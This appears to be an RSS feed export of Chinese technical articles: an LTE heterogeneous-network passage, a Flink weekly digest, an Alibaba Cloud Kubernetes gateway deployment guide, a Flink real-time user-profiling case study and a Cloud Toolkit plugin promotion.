        早期,在 LTE 同构宏蜂窝的部署方式下,每个宏基站 eNB 内,可在一个 或者多个 LTE 载波频点上,重叠配置着多个宏服务小区(无线覆盖范围从几百 米到几十千米),从而相邻的多个宏基站 eNB,共同形成较为规整的宏蜂窝状 的无线覆盖。如图 1-4 所示,在某个物理区域内,若干形状大小基本相同的宏 小区有规律地部署在 4 个不同的 LTE 载波频点上,频率垂直方向有重叠覆盖, 位置水平方向的宏小区边缘也有重叠覆盖。在 LTE 同构宏蜂窝中,LTE 无线 覆盖和容量的供给,通常随着物理位置的变化而呈现出单一的拓扑结构,越往 宏小区中心的地方越好。同构宏蜂窝的部署方式,在蜂窝移动网络早期特别强 调无线全覆盖的要求下,较为普遍适用,在未来 5G 蜂窝部署中,移动锚点控 制信令层或基本类业务层,通常也可采取同构宏蜂窝的部署方式。
        如图 1-4 所示,“同构”意味着大部分部署的基站 eNB 所提供的无线容量 和处理能力,甚至配置参数(包括天线数目、形态、增益、角度朝向)都基本一致, 运营商不需要在众多的基站设备之间,进行太多的差分对待和精细化管理配置, 因此,相应的设备采购管理、网络规划优化、管理运维等任务,则变得相对 “千篇一律”,相对简单、轻松一些。“宏蜂窝”意味着单个宏基站 eNB,通常 就能无线覆盖较大的物理区域范围,因此整个蜂窝网络中部署的基站总数目和 CAPEX/OPEX 成本就容易控制在特定的预算范围内。在特定的 LTE 宏服务小 区下,对于大部分终端,由于自身的物理活动范围有限,大部分时间内可能只 是处在单个宏基站 eNB 所辖的服务范围内,偶尔才会离开移动到其他相邻的宏 基站服务小区内,因此可避免很多宏基站间的移动性重配置、干扰协调等操作。 因此,同构宏蜂窝通常保证好从核心网→无线接入网→终端这一垂直数据服务 路径即可,对基站之间的水平数据服务路径的要求,可以相对略微地降低。
        image.png
        总的说来,“同构宏蜂窝”的部署方式,能够简化运营商对蜂窝移动网络的 部署和运维,是一种较为初级、粗糙的方式,但它很不利于蜂窝移动网络资源 的差分化管理和精细化利用,这主要基于下面几点理由和事实。
        (1)终端用户的密度和数据流量需求的物理分布通常是不均匀的,有的区 域多,有的区域少,有的区域甚至是“无人区”。由于不同地域和室内外环境之 间的较大差异,用户的移动特性也是不一致的。“同构宏蜂窝”的部署方式,不 利于针对局部区域的具体业务分布需求特性,来进行无线覆盖和系统容量方面 的定制化供给输出。
        (2)宏基站 eNB 为了实现远距离无线覆盖,需要较大的射频输出功率,同 理,处于小区远端的终端也需要较大的射频输出功率,才能保证上行数据传输 性能,这是很耗能的。由于单个宏服务小区内用户数众多,它必须长时间处于 激活且持续稳定的工作状态,这对宏基站的能耗和运行稳定性要求很高,比如, 宏基站 eNB 在白天正常工作时段,几乎很难被关闭和参数重配重启。一旦宏基 站 eNB 发生故障重启,常常会带来很大的断网影响。
        (3)宏小区覆盖造成位于宏服务小区远端和边缘的终端,需要经历“无线 链路长径”才能和基站进行上下行数据传输,这需要消耗更多的空口无线资源 和发射功率资源,以抵抗路损和无线干扰,但同时必然会对环境造成更大的无 线干扰,因此,“无线链路短径”对于空口数据传输更为高效和有利,也更能节 省基站能量和终端电量。后面读者将会发现:通过小小区和 Relay 中继技术,可 把无线链路长径转化成分段的多条短径,这样可有效地管理空口的无线干扰叠加。
        (4)单个大型宏基站 eNB 因为要服务众多的用户(>1 000 人),这对宏基 站的基带处理能力、调度能力 / 算法效率等方面的挑战都很大,比如,能同时 高效服务调度 1 000 个用户和 10 个用户所带来的算法复杂度和基带处理效率 开销是不同的。由于众多用户的物理位置、蜂窝业务特性、无线环境等因素差 别可能很大,因此极易造成宏服务小区的平均谱效和实际无线覆盖、容量被某 些用户拉低,用户间服务的公平度下降,从而无法达到系统的性能目标。
        (5)宏基站 eNB 的宏小区,通常只能配置工作在带宽资源较稀缺的低频段(< 3.5 GHz),由于设备发射功率限制(20 MHz 工作带宽典型值为 46 dBm)、空 间物理障碍物导致的不同路损等因素,通常无法在中高频段载波上进行部署工 作。因此宏小区无法利用广阔充裕的中高频段载波资源,此时,微小区或小小 区就自然地适用于中高频段部署。UDN 部署的一个前提就是基站小型化和服务 小小区化。
        基于上述“同构宏蜂窝”的多重缺点、弊端,以及运营商们不断强调精细 化其网络运营和更高效、灵活地提供各类蜂窝业务应用的需要,LTE 网络从Rel-10开始,逐渐从“同构宏蜂窝”的部署方式,向各种“异构微蜂窝”(HetNet, Heterogeneous Network)的部署方式转变、演化。简单地定义,“异构微蜂 窝”是指特定物理服务区域内,存在着不同系统容量、不同处理能力和不同配 置参数的各种基站 eNB(从大型宏基站到各类型的微基站甚至家庭基站),外加 其他不同 RAT 技术制式的基站节点(如 RN、WLAN AP、gNB 等),它们之 间混合搭配着异构化部署,不需要像“同构宏蜂窝”那样规律有序,运营商可 根据待服务用户和蜂窝业务的客观具体需求按需、灵活、动态地去构建网络拓 扑,从而实现区域定制化的无线覆盖和容量供给输出。如图 1-5 所示,在某个 物理服务区域内,若干个覆盖形状大小不同的宏微服务小区,无特定规律地部 署在 4 个不同的 LTE 载波频点上,从而蜂窝网络提供的无线通信容量可针对特 定物理位置的具体需求情况而动态变化和定制,可以是同频或异频部署,形成 多样化的拓扑结构,而且可能是“无定形的”。对于“异构微蜂窝”,不仅要保 证好核心网→无线接入网→终端这一垂直数据服务基本路径,还要对基站之间 的水平数据服务路径提出更高的性能要求,因为此时终端很容易且很需要和多个相邻的基站产生联合互操作的关联。
        支撑 4G LTE“异构微蜂窝”的相关关键技术,将在后续的章节中详细地 进行介绍分析,5G UDN 本质上也属于一种“异构微蜂窝”的部署方式,此时 除了“异构”和“微蜂窝”的基本特征,还外加了“小区密集化”和“高度协 作化”的重要特征。当 5G UDN 内的小小区部署变得越来越密、越来越小时, 无线接入网节点的上层基带资源和下层无线资源仿似被“云化了”,这就能对 5G 在部署组网成本、工作效率、网络系统性能等方面都带来很大的提升空间, 同时也伴随有很多新的技术挑战。这一技术趋势,其实就是蜂窝移动系统对“云 计算”的基本技术理念,在无线接入网侧的深入应用。
        image.png

        ]]>
        Flink Weekly | 每周社区动态更新-12/24 Fri, 02 May 2025 09:39:04 +0800 作者:程鹤群(军长)

        Apache Flink 中文邮件列表中的 Flink Weekly 周报,计划每周一期,内容涵盖邮件列表中用户问题的解答、社区开发和提议的进展、社区新闻以及其他活动、博客文章等,欢迎持续关注~

        本期的主要内容由 Hequn Cheng 整理,包括:发布 Flink 1.10 和 Flink 1.9.2 的更新,关于将 Flink Docker image 发布集成到 Flink 发布过程中的讨论,PyFlink 后期新功能的讨论以及一些博客文章。

        Flink开发

        • [releases] Kostas Kloudas 建议在 feature-freeze 期间,关注下1.10新功能的文档。他创建了一个总 umbrella issue(FLINK-15273)来跟踪未完成的文档任务。 [1]
        • [releases] Hequn 展开了一个启动Flink 1.9.2发布的讨论。 本周解决了一个 blocker,还剩一个blocker。 考虑到正在进行的1.10版本以及社区的资源有限,计划在圣诞节后进行1.9.2的投票。[2]
        • [releases] Patrick 建议将 Flink Docker 映像发布集成到Flink发布过程中。 目前的争论点是是否要为发布 Docker 镜像的 Dockerfiles 提供专门的 git repo。[3]
        • [sql] 关于在 Flink SQL 中支持 JSON 函数的讨论似乎已经达成共识。 Jark Wu 建议 Forward Xu 开始 Flip 投票。[4]
        • [runtime] 在试用了新的 FLIP-49 内存配置之后,Stephan 进行了讨论并提供了一些反馈。 他提供了一些关于配置键名称和描述的改进意见。 目前收到了许多其他人的赞同。 [5]
        • [connectors] Flip-27(新的 source 接口)的讨论本周有了一些更新。 本周讨论的重点是“有界和无界”的概念。 [6]
        • [pyflink] Jincheng 展开了一个讨论,意在和社区一起讨论 PyFlink 接下来希望支持的功能。目前有一个人回复,期待 PyFlink 能更好地集成 Jupyter。 [7]

        [1] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/Documentation-tasks-for-release-1-10-td36031.html
        [2] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Releasing-Flink-1-9-2-td36087.html
        [3] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Integrate-Flink-Docker-image-publication-into-Flink-release-process-td36139.html
        [4] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Support-JSON-functions-in-Flink-SQL-td32674.html
        [5] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Some-feedback-after-trying-out-the-new-FLIP-49-memory-configurations-td36129.html
        [6] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-FLIP-27-Refactor-Source-Interface-td24952.html
        [7] http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-What-parts-of-the-Python-API-should-we-focus-on-next-td36119.html

        已知缺陷

        • [FLINK-15262] [1.10.0] kafka connector doesn't read from beginning immediately when 'connector.startup-mode' = 'earliest-offset'. [8]
          即使设置了'connector.startup-mode' = 'earliest-offset'的配置项,Kafka 的 connector 也没有从最开始的点位消费。
        • [FLINK-15300] [1.10.0] Shuffle memory fraction sanity check does not account for its min/max limit. [9]
          如果我们有一个设置 shuffle memory 最小/最大值的配置,但是分数超出最小/最大范围,则完整性检查(TaskExecutorResourceUtils#sanityCheckShuffleMemory)可能会失败。
        • [FLINK-15304] [1.11.0] Remove unexpected Hadoop dependency from Flink's Mesos integration. [10]
          目前 Hadoop 依赖存在于 Flink 的 Mesos 集成中,需要去掉。
        • [FLINK-15313] [1.10.0] Can not insert decimal with precision into sink using TypeInformation. [11]
          如果 Insert 到一张带有 Decimal 类型的表,并且 Decimal 类型包含精度,那么目前 Flink 会抛出异常。
        • [FLINK-15320] [1.10.0] JobManager crashes in the standalone model when cancelling job which subtask' status is scheduled. [12]
          Standalone 集群下,如果 cancel 一个子 task 的状态是 scheduled 的作业,JobManager 会崩溃。

        [8] https://issues.apache.org/jira/browse/FLINK-15262
        [9] https://issues.apache.org/jira/browse/FLINK-15300
        [10] https://issues.apache.org/jira/browse/FLINK-15304
        [11] https://issues.apache.org/jira/browse/FLINK-15313
        [12] https://issues.apache.org/jira/browse/FLINK-15320

        活动/博客文章/其他

        • Philip Wilcox 发布了一个博客,介绍 Bird 公司内他们如何使用 Flink 检测离线踏板车。 该博客主要分享一些如何解决实际业务场景中一系列棘手问题的经验,涉及 Kafka,事件时间,水印和排序。 [13]
        • Preetdeep Kumar 发表了一篇博文,介绍了使用 Apache Flink 处理流数据的用例和最佳实践。[14].

        [13] https://www.ververica.com/blog/replayable-process-functions-time-ordering-and-timers
        [14] https://dzone.com/articles/streaming-etl-with-apache-flink

        2 分钟快速订阅 Flink 中文邮件列表

        Apache Flink 中文邮件列表订阅流程:

        1. 发送任意邮件到 user-zh-subscribe@flink.apache.org
        2. 收到官方确认邮件
        3. 回复该邮件 confirm 即可订阅

        订阅成功后将收到 Flink 官方的中文邮件列表的消息,您可以向 user-zh@flink.apache.org 发邮件提问也可以帮助别人解答问题,动动手测试一下!

        ]]>
        探讨基于阿里云容器技术架构(二) Fri, 02 May 2025 09:39:04 +0800

        原文作者:李同刚
        原文链接:https://developer.aliyun.com/article/740135?spm=a2c6h.13262185.0.0.2df36171oLnf2Z
        更多云原生技术资讯可关注阿里巴巴云原生技术圈

        阅读本篇需要具备 Kubernetes 知识和 kubectl 工具基本使用。
        上一篇介绍了整体架构图,接下来的文章我们围绕架构图部署应用,本篇我们主要介绍网关的部署方式以、所需要的资源介绍以及可能会遇到的坑,不会对细节进行过多的描述,比如如何打包 docker 镜像等,因为我们不打算写一个从零开始的长而冗余的教程,浪费各位宝贵的阅读时间。部署中遇到问题直接在文章中评论,我会回复。

        网关

        代码简单主要起到说明作用,所以不做代码讲解了。源码托管在GitHub:https://github.com/Tony-Hangzhou/mvp-samples
        网关职责是封装内部服务,对外提供统一API访问,当然也可以加入鉴权和授权的职责。所以网关的网络通讯要求是既要提供给Kubernetes外部访问的入口,又要把请求路由到内部服务(相当于反向代理)。

        ZuulApplication.java

        @EnableZuulProxy
        @SpringBootApplication
        public class ZuulApplication {

        public static void main(String[] args) {    
             SpringApplication.run(ZuulApplication.class, args);    
         }

        }

        application.yml

        spring:
        application:

        name: api-gateway

        zuul:
        routes:

        user-service:    
           path: /users/**    
           url: http://localhost:8081    
           strip-prefix: false    
         
         order-service:    
           path: /orders/**    
           url: http://localhost:8082    
           strip-prefix: false

        management:
        endpoints:

        web:    
           exposure:    
             include: routes

        部署拓扑图

        根据前篇介绍的架构图,我们的应用部署图如下,应用部分由网关(Zuul)、Foo、Bar组成。部署所需要的资源阿里云Kubernetes集群、阿里云SLB以及阿里云镜像托管Docker镜像。
        17.png

        资源准备

        阿里云 Kubernetes

        申请一个阿里云 Kubernetes 集群,Master 节点默认3个,Node 节点至少一个。

        SLB

        Kubernetes 暴露 Service 给外部访问有多种方式,我们这里选择 LoadBalancer 方式。阿里云 Kubernetes 支持阿里云 SLB 作为 LoadBalancer,而且支持阿里云内网和外网 SLB 。

        • 外网

        service.beta.kubernetes.io/alicloud-loadbalancer-address-type: internet

        service.beta.kubernetes.io/alicloud-loadbalancer-id: ***
        • 内网

        service.beta.kubernetes.io/alicloud-loadbalancer-address-type: intranet

        service.beta.kubernetes.io/alicloud-loadbalancer-id: ***

        阿里云镜像

        阿里云镜像为 Docker 镜像提供了托管服务,省掉自己搭建镜像服务器和维护的成本。

        避坑指南

        • Pod IP
          原生 Kubernetes Pod IP 是内部IP,外部是无法访问的。阿里云 Kubernetes 通过 CNI 接口,自定义了网络部分的实现,他的 Pod IP 实际上是阿里云内网IP,Kubernetes 外部是可以访问的,但是熟悉 Kubernetes 同学知道这个 IP 随着Pod 被调度是回变化的,所以一定不要使用 Pod IP 直接访问,而是通过 Service 访问。
        • SLB
          Kubernetes 基于申明的方式部署服务,所以我们有一个 gateway-deploy.yaml,然后通过 kubectl 客户端做部署操作。尽可能使用命令 kubectl apply -f gateway-depoy.yaml 操作。避免使用 kubectl delete 和 kubectl create 组合操作,阿里云 SLB 会出现无法绑定到 NodePort 情况,从而造成通过 SLB 无法访问服务。
        • namespace
          避免 namespace 使用中短横线如:service-core。Kubernetes 内部服务使用 DNS 域名访问,如:foo.service-core,会出现通过该域名无法访问情况。去掉短横线或者通过 Service ClusterIP 即可访问,还有一种办法使用 foo.service-core.svc 或者全域名 foo.service-core.svc.cluster.local 也可访问。问题可能是 Kubernetes 短域名解析Bug,具体原因不明,请路过的高手指点一二。

        主要操作

        1、编写部署文件 gateway-deploy.yaml ,源代码见GitHub:https://github.com/Tony-Hangzhou/mvp-samples
        2、打包 Docker 镜像
        3、上传镜像到阿里云镜像服务器
        4、使用 kubectl apply 命令部署服务

        总结

        本篇介绍了网关部署以及可能遇到的坑。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        日处理数据量超10亿:友信金服基于Flink构建实时用户画像系统的实践 Fri, 02 May 2025 09:39:04 +0800 作者 | 杨毅,穆超峰,贺小兵,胡夕

        导读:当今生活节奏日益加快,企业面对不断增加的海量信息,其信息筛选和处理效率低下的困扰与日俱增。由于用户营销不够细化,企业 App 中许多不合时宜或不合偏好的消息推送很大程度上影响了用户体验,甚至引发了用户流失。在此背景下,友信金服公司推行全域的数据体系战略,通过打通和整合集团各个业务线数据,利用大数据、人工智能等技术构建统一的数据资产,如 ID-Mapping、用户标签等。友信金服用户画像项目正是以此为背景成立,旨在实现“数据驱动业务与运营”的集团战略。目前该系统支持日处理数据量超 10 亿,接入上百种合规数据源。

        一、技术选型

        传统基于 Hadoop 生态的离线数据存储计算方案已在业界大规模应用,但受制于离线计算的高时延性,越来越多的数据应用场景已从离线转为实时。这里引用一张表格对目前主流的实时计算框架做个对比。

        1.jpg

        Apache Storm 的容错机制需要对每条数据进行应答(ACK),因此其吞吐量备受影响,在数据大吞吐量的场景下会有问题,因此不适用此项目的需求。

        Apache Spark 总体生态更为完善,且在机器学习的集成和应用性暂时领先,但 Spark 底层还是采用微批(Micro Batching)处理的形式。

        Apache Flink 在流式计算上有明显优势:首先其流式计算属于真正意义上的单条处理,即每一条数据都会触发计算。在这一点上明显与 Spark 的微批流式处理方式不同。其次,Flink 的容错机制较为轻量,对吞吐量影响较小,使得 Flink 可以达到很高的吞吐量。最后 Flink 还拥有易用性高,部署简单等优势。相比之下我们最终决定采用基于 Flink 的架构方案。

        二、用户画像业务架构

        用户画像系统目前为集团线上业务提供用户实时标签数据服务。为此我们的服务需要打通多种数据源,对海量的数字信息进行实时不间断的数据清洗、聚类、分析,从而将它们抽象成标签,并最终为应用方提供高质量的标签服务。在此背景下,我们设计用户画像系统的整体架构如下图所示:

        2.jpg

        整体架构分为五层:

        1. 接入层:接入原始数据并对其进行处理,如 Kafka、Hive、文件等。
        2. 计算层:选用 Flink 作为实时计算框架,对实时数据进行清洗,关联等操作。
        3. 存储层:对清洗完成的数据进行数据存储,我们对此进行了实时用户画像的模型分层与构建,将不同应用场景的数据分别存储在如 Phoenix,HBase,HDFS,Kafka 等。
        4. 服务层:对外提供统一的数据查询服务,支持从底层明细数据到聚合层数据的多维计算服务。
        5. 应用层:以统一查询服务对各个业务线数据场景进行支撑。目前业务主要包含用户兴趣分、用户质量分、用户的事实信息等数据。

        三、用户画像数据处理流程

        在整体架构设计方案设计完成之后,我们针对数据也设计了详尽的处理方案。在数据处理阶段,鉴于 Kafka 高吞吐量、高稳定性的特点,我们的用户画像系统统一采用 Kafka 作为分布式发布订阅消息系统。数据清洗阶段利用 Flink 来实现用户唯一性识别、行为数据的清洗等,去除冗余数据。这一过程支持交互计算和多种复杂算法,并支持数据实时 / 离线计算。目前我们数据处理流程迭代了两版,具体方案如下:

        1.0 版数据处理流程

        数据接入、计算、存储三层处理流程

        整体数据来源包含两种:

        1. 历史数据:从外部数据源接入的海量历史业务数据。接入后经过 ETL 处理,进入用户画像底层数据表。
        2. 实时数据:从外部数据源接入的实时业务数据,如用户行为埋点数据,风控数据等。

        根据不同业务的指标需求我们直接从集团数据仓库抽取数据并落入 Kafka,或者直接从业务端以 CDC(Capture Data Change)的方式写入 Kafka。在计算层,数据被导入到 Flink 中,通过 DataStream 生成 ID-Mapping、用户标签碎片等数据,然后将生成数据存入 JanusGraph(JanusGraph 是以 HBase 作为后端存储的图数据库介质)与 Kafka,并由 Flink 消费落入 Kafka 的用户标签碎片数据,进行聚合生成最新的用户标签碎片(用户标签碎片是由用户画像系统获取来自多种渠道的碎片化数据块处理后生成的)。

        3.jpg

        数据服务层处理流程

        服务层将存储层存储的用户标签碎片数据,通过 JanusGraph Spark On Yarn 模式,执行 TinkerPop OLAP 计算生成全量用户 Yids 列表文件。Yid 是用户画像系统中定义的集团级用户 ID 标识。结合 Yids 列表文件,在 Flink 中批量读取 HBase 聚合成完整用户画像数据,生成 HDFS 文件,再通过 Flink 批量操作新生成的数据生成用户评分预测标签,将用户评分预测标签落入 Phoenix,之后数据便可通过统一数据服务接口进行获取。下图完整地展示了这一流程。

        4.jpg

        ID-Mapping 数据结构

        为了实现用户标签的整合,用户 ID 之间的强打通,我们将用户 ID 标识看成图的顶点、ID pair 关系看作图的边,比如已经识别浏览器 Cookie 的用户使用手机号登陆了公司网站就形成了对应关系。这样所有用户 ID 标识就构成了一张大图,其中每个小的连通子图 / 连通分支就是一个用户的全部标识 ID 信息。

        ID-Mapping 数据由图结构模型构建,图节点包含 UserKey、Device、IdCard、Phone 等类型,分别表示用户的业务 ID、设备 ID、身份证以及电话等信息。节点之间边的生成规则是通过解析数据流中包含的节点信息,以一定的优先级顺序进行节点之间的连接,从而生成节点之间的边。比如,识别了用户手机系统的 Android_ID,之后用户使用邮箱登陆了公司 App,在系统中找到了业务线 UID 就形成了和关系的 ID pair,然后系统根据节点类型进行优先级排序,生成 Android_ID、mail、UID 的关系图。数据图结构模型如下图所示:

        5.jpg

        Gephi

        1.0 版本数据处理流程性能瓶颈

        1.0 版本数据处理流程在系统初期较好地满足了我们的日常需求,但随着数据量的增长,该方案遇到了一些性能瓶颈:

        1. 首先,这版的数据处理使用了自研的 Java 程序来实现。随着数据量上涨,自研 JAVA 程序由于数据量暴增导致 JVM 内存大小不可控,同时它的维护成本很高,因此我们决定在新版本中将处理逻辑全部迁移至 Flink 中。
        2. 其次,在生成用户标签过程中,ID-Mapping 出现很多大的连通子图(如下图所示)。这通常是因为用户的行为数据比较随机离散,导致部分节点间连接混乱。这不仅增加了数据的维护难度,也导致部分数据被“污染”。另外这类异常大的子图会严重降低 JanusGraph 与 HBase 的查询性能。

        6.jpg

        Gephi

        1. 最后,该版方案中数据经 Protocol Buffer(PB)序列化之后存入 HBase,这会导致合并 / 更新用户画像标签碎片的次数过多,使得一个标签需要读取多次 JanusGraph 与 HBase,这无疑会加重 HBase 读取压力。此外,由于数据经过了 PB 序列化,使得其原始存储格式不可读,增加了排查问题的难度。

        鉴于这些问题,我们提出了 2.0 版本的解决方案。在 2.0 版本中,我们通过利用 HBase 列式存储、修改图数据结构等优化方案尝试解决以上三个问题。

        2.0 版数据处理流程

        版本流程优化点

        如下图所示,2.0 版本数据处理流程大部分承袭了 1.0 版本。新版本数据处理流程在以下几个方面做了优化:

        7.jpg

        2.0 版本数据处理流程

        1. 历史数据的离线补录方式由 JAVA 服务变更为使用 Flink 实现。
        2. 优化用户画像图数据结构模型,主要是对边的连接方式进行了修改。之前我们会判断节点的类型并根据预设的优先级顺序将多个节点进行连接,新方案则采用以 UserKey 为中心的连接方式。做此修改后,之前的大的连通子图(图 6)优化为下面的小的连通子图(图 8),同时解决了数据污染问题,保证了数据准确性。另外,1.0 版本中一条数据需要平均读取十多次 HBase 的情况也得到极大缓解。采用新方案之后平均一条数据只需读取三次 HBase,从而降低 HBase 六七倍的读取压力(此处优化是数据计算层优化)。

        8.jpg

        Gephi

        1. 旧版本是用 Protocol Buffer 作为用户画像数据的存储对象,生成用户画像数据后作为一个列整体存入 HBase。新版本使用 Map 存储用户画像标签数据,Map 的每对 KV 都是单独的标签,KV 在存入 HBase 后也是单独的列。新版本存储模式利用 HBase 做列的扩展与合并,直接生成完整用户画像数据,去掉 Flink 合并 / 更新用户画像标签过程,优化数据加工流程。使用此方案后,存入 HBase 的标签数据具备了即席查询功能。数据具备即席查询是指在 HBase 中可用特定条件直接查看指定标签数据详情的功能,它是数据治理可以实现校验数据质量、数据生命周期、数据安全等功能的基础条件。
        2. 在数据服务层,我们利用 Flink 批量读取 HBase 的 Hive 外部表生成用户质量分等数据,之后将其存入 Phoenix。相比于旧方案中 Spark 全量读 HBase 导致其读压力过大,从而会出现集群节点宕机的问题,新方案能够有效地降低 HBase 的读取压力。经过我们线上验证,新方案对 HBase 的读负载下降了数十倍(此处优化与 2 优化不同,属于服务层优化)。

        四、问题

        目前,线上部署的用户画像系统中的数据绝大部分是来自于 Kafka 的实时数据。随着数据量越来越多,系统的压力也越来越大,以至于出现了 Flink 背压与 Checkpoint 超时等问题,导致 Flink 提交 Kafka 位移失败,从而影响了数据一致性。这些线上出现的问题让我们开始关注 Flink 的可靠性、稳定性以及性能。针对这些问题,我们进行了详细的分析并结合自身的业务特点,探索并实践出了一些相应的解决方案。

        CheckPointing 流程分析与性能优化方案

        CheckPointing 流程分析

        下图展示了 Flink 中 checkpointing 执行流程图:

        9.jpg

        Flink 中 checkpointing 执行流程

        1. Coordinator 向所有 Source 节点发出 Barrier。
        2. Task 从输入中收到所有 Barrier 后,将自己的状态写入持久化存储中,并向自己的下游继续传递 Barrier。
        3. 当 Task 完成状态持久化之后将存储后的状态地址通知到 Coordinator。
        4. 当 Coordinator 汇总所有 Task 的状态,并将这些数据的存放路径写入持久化存储中,完成 CheckPointing。

        性能优化方案

        通过以上流程分析,我们通过三种方式来提高 Checkpointing 性能。这些方案分别是:

        1. 选择合适的 Checkpoint 存储方式
        2. 合理增加算子(Task)并行度
        3. 缩短算子链(Operator Chains)长度

        选择合适的 Checkpoint 存储方式

        CheckPoint 存储方式有 MemoryStateBackend、FsStateBackend 和 RocksDBStateBackend。由官方文档可知,不同 StateBackend 之间的性能以及安全性是有很大差异的。通常情况下,MemoryStateBackend 适合应用于测试环境,线上环境则最好选择 RocksDBStateBackend。

        这有两个原因:首先,RocksDBStateBackend 是外部存储,其他两种 Checkpoint 存储方式都是 JVM 堆存储。受限于 JVM 堆内存的大小,Checkpoint 状态大小以及安全性可能会受到一定的制约;其次,RocksDBStateBackend 支持增量检查点。增量检查点机制(Incremental Checkpoints)仅仅记录对先前完成的检查点的更改,而不是生成完整的状态。与完整检查点相比,增量检查点可以显著缩短 checkpointing 时间,但代价是需要更长的恢复时间。

        合理增加算子(Task)并行度

        Checkpointing 需要对每个 Task 进行数据状态采集。单个 Task 状态数据越多则 Checkpointing 越慢。所以我们可以通过增加 Task 并行度,减少单个 Task 状态数据的数量来达到缩短 CheckPointing 时间的效果。

        缩短算子链(Operator Chains)长度

        Flink 算子链(Operator Chains)越长,Task 也会越多,相应的状态数据也就更多,Checkpointing 也会越慢。通过缩短算子链长度,可以减少 Task 数量,从而减少系统中的状态数据总量,间接的达到优化 Checkpointing 的目的。下面展示了 Flink 算子链的合并规则:

        1. 上下游的并行度一致
        2. 下游节点的入度为 1
        3. 上下游节点都在同一个 Slot Group 中
        4. 下游节点的 Chain 策略为 ALWAYS
        5. 上游节点的 Chain 策略为 ALWAYS 或 HEAD
        6. 两个节点间数据分区方式是 Forward
        7. 用户没有禁用 Chain

        基于以上这些规则,我们在代码层面上合并了相关度较大的一些 Task,使得平均的操作算子链长度至少缩短了 60%~70%。

        Flink 背压产生过程分析及解决方案

        背压产生过程分析

        在 Flink 运行过程中,每一个操作算子都会消费一个中间 / 过渡状态的流,并对它们进行转换,然后生产一个新的流。这种机制可以类比为:Flink 使用阻塞队列作为有界的缓冲区。跟 Java 里阻塞队列一样,一旦队列达到容量上限,处理速度较慢的消费者会阻塞生产者向队列发送新的消息或事件。下图展示了 Flink 中两个操作算子之间的数据传输以及如何感知到背压的:

        10.jpg

        首先,Source 中的事件进入 Flink 并被操作算子 1 处理且被序列化到 Buffer 中,然后操作算子 2 从这个 Buffer 中读出该事件。当操作算子 2 处理能力不足的时候,操作算子 1 中的数据便无法放入 Buffer,从而形成背压。背压出现的原因可能有以下两点:

        1. 下游算子处理能力不足;
        2. 数据发生了倾斜。

        背压解决方案

        实践中我们通过以下方式解决背压问题。首先,缩短算子链会合理的合并算子,节省出资源。其次缩短算子链也会减少 Task(线程)之间的切换、消息的序列化 / 反序列化以及数据在缓冲区的交换次数,进而提高系统的整体吞吐量。最后,根据数据特性将不需要或者暂不需要的数据进行过滤,然后根据业务需求将数据分别处理,比如有些数据源需要实时的处理,有些数据是可以延迟的,最后通过使用 keyBy 关键字,控制 Flink 时间窗口大小,在上游算子处理逻辑中尽量合并更多数据来达到降低下游算子的处理压力。

        优化结果

        经过以上优化,在每天亿级数据量下,用户画像可以做到实时信息实时处理并无持续背压,Checkpointing 平均时长稳定在 1 秒以内。

        五、未来工作的思考和展望

        端到端的实时流处理

        目前用户画像部分数据都是从 Hive 数据仓库拿到的,数据仓库本身是 T+1 模式,数据延时性较大,所以为了提高数据实时性,端到端的实时流处理很有必要。

        端到端是指一端采集原始数据,另一端以报表 / 标签 / 接口的方式对这些对数进行呈现与应用,连接两端的是中间实时流。在后续的工作中,我们计划将现有的非实时数据源全部切换到实时数据源,统一经过 Kafka 和 Flink 处理后再导入到 Phoenix/JanusGraph/HBase。强制所有数据源数据进入 Kafka 的一个好处在于它能够提高整体流程的稳定性与可用性:首先 Kafka 作为下游系统的缓冲,可以避免下游系统的异常影响实时流的计算,起到“削峰填谷”的作用;其次,Flink 自 1.4 版本开始正式支持与 Kafka 的端到端精确一次处理语义,在一致性方面上更有保证。

        11.jpg

        作者介绍:
        杨毅:友信金服计算平台部 JAVA 工程师
        穆超峰:友信金服计算平台部数据开发高级工程师
        贺小兵:友信金服计算平台部数据开发工程师
        胡夕:友信金服计算平台部技术总监

        ]]>
        10万开发者都知道的极速部署方式,你居然不知道!?内含悬赏活动 Fri, 02 May 2025 09:39:04 +0800 先来看看程序猿是如何评价极速部署方式

        软萌小姐姐介绍 Cloud Toolkit 的一键部署方式

        上面小哥哥表扬(tu cao)的就是这一款免费 IDE 插件——Cloud Toolkit,已经有超 12 万开发者下载,是一种公认的极速部署方式,如果你还不了解,点击下方视频,让「软萌小姐姐」来为你介绍。

        视频链接:https://www.aliyun.com/daily-act/video?src=https://cloud.video.taobao.com/play/u/2311856963/p/1/e/6/t/1/247487624012.mp4

        当您每次修改完代码后,是否正在经历反复地打包?采用 SCP 工具上传?使用 XShell 或 SecureCRT 登陆服务器?替换部署包?重启?

        现在开始,请把这些重复繁琐的工作交给 Cloud Toolkit 吧,它能够帮助开发者更高效地开发、测试、诊断并部署应用。Cloud Toolkit 与主流 IDE 及阿里云其他产品无缝集成,帮助您大大简化应用部署到服务器,尤其是阿里云服务器中的操作。通过插件,可以将本地应用一键部署到任意服务器,甚至云端—— ECS、ECS、EDAS、ACK、ACR 和 小程序云 等,而且还可以通过其内嵌的 Arthas 程序诊断、 Terminal Shell 终端和 MySQL 执行器等工具,简化应用开发、测试和诊断的过程。

        插件下载地址:https://cn.aliyun.com/product/cloudtoolkit?spm=yunqi1224

        • 部署到 任意服务器 / ECS

        Cloud Toolkit 支持标准 SSH 协议,无需在一系列运维工具之间切换,只需在图形界面上选择目标服务器,即可实现应用快速部署。

        • 部署到 容器镜像(ACR)

        针对阿里云 ACR 开发者,可以将登陆、拉取、推送、选择仓库等步骤交给插件自动化,实现一键完成所有操作。

        • 部署到 容器服务(ACK)

        针对阿里云 Kubernetes 开发者, 可以将本地代码和云端容器进行关联,实现自动化的镜像上传和部署。

        • 部署到 小程序云

